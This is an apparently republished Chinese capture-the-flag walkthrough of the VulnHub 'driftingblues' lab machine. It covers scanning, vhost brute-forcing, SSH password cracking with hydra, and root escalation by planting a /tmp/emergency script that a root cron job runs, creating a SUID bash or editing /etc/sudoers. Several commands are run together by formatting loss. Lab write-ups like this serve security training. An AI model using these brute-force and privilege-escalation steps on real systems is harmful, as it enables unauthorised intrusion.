靶机地址:https://download.vulnhub.com/driftingblues/driftingblues.ova
攻击者ip:192.168.249.132
受害者ip:192.168.249.139
主机发现
arp-scan -l
端口扫描
nmap -p- -sV 192.168.249.139
访问web页面,没啥可以利用的漏洞,扫个目录先
dirb http://192.168.249.139/
查看/css /img /js 等目录,没发现有值得利用的
查看源码能找到下载源码的地址
https://templatemo.com/tm-532-next-level#google_vignette
查看源代码,发现一段base64编码
L25vdGVmb3JraW5nZmlzaC50eHQ=
解码:/noteforkingfish.txt
ook编码
Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。
https://ctf.bugku.com/tool/brainfuck
https://www.splitbrain.org/services/ook
解码后
my man, i know you are new but you should know how to use host file to reach our secret location. -eric
提示修改host文件
Linux:/etc/
Windows:C:WindowsSystem32driversetc
使用gobuster进行本地域名爆破
gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt | grep 'Status: 200'
看到有两个是200的状态码
test.driftingblues.box
加入到host文件中
再次扫描目录
dirb http://test.driftingblues.box
发现robbots.txt
访问上面的路径
其他路径为404
http://test.driftingblues.box/ssh_cred.txt
谢丽尔曾经告诉我,她在密码的末尾加了一个数字。提示密码后有个数字
自定义密码本,用户名可能是之前出现过的名字,
sheryl(http://192.168.249.139/index.html),eric(http://test.driftingblues.box/) ,db(http://test.driftingblues.box/ssh_cred.txt)
这三个名字塞到用户本里
ssh爆破
hydra -L use.txt -P pwd.txt -V ssh://192.168.249.139:22
eric/1mw4ckyyucky6
ssh远程连接eric
得到一个flag
提权
查看备份文件
再去/tmp/下看看,backup.sh每分钟都在产生,且为root用户,猜测root可能有设置自动任务,每分钟执行一次backup.sh
结合backup.sh脚本中最后一句,会sudo执行/tmp/emergency文件,而此时/tmp下没有这个文件,我们可以手工创建文件,并将eric用户加入sudo组
echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergencychmod +x emergency
等一分钟,直道ls出现getroot
隔一段时间,系统会自动执行backup.sh,该脚本以root权限执行/tmp/emergency,所以我们将/bin/bash复制到/tmp/目录下重新命名getroot,并给getroot以suid权限,写入到/tmp/emergency中
提权2
我们可以使用pspy监控靶机行为,在靶机上下载pspy:
mkdir PrivilegeEscalationcd PrivilegeEscalationwget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32chmod 777 pspy32./pspy32 -p
pspy是一款不需要高级权限即可嗅探进程行为的软件:
教程:https://www.4hou.com/posts/JNKD
可以看到靶机每隔一分钟就会执行一系列命令,并且在执行backup.sh后会执行具有root权限的指令“sudo /tmp/emergency”。我们查看/var/backups/backup.sh,backdoor已经提示得很明了了:
由于需要root权限,并且tmp文件可控,我们先搜索是否存在对tmp执行sudo语句的文件
grep -ri "sudo /tmp" /var
cat /var/backups/backup.sh
然后转到tmp目录下,发现并没有emergency文件,我们可以自己创建一个提权文件:
cd /tmpecho 'echo "eric ALL=(ALL:ALL) ALL" >> /etc/sudoers' > emergencychmod 777 emergency
这样一分钟后,eric用户即具有了root权限:
sudo su - root
原文始发于微信公众号(王之暴龙战神):driftingblues
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论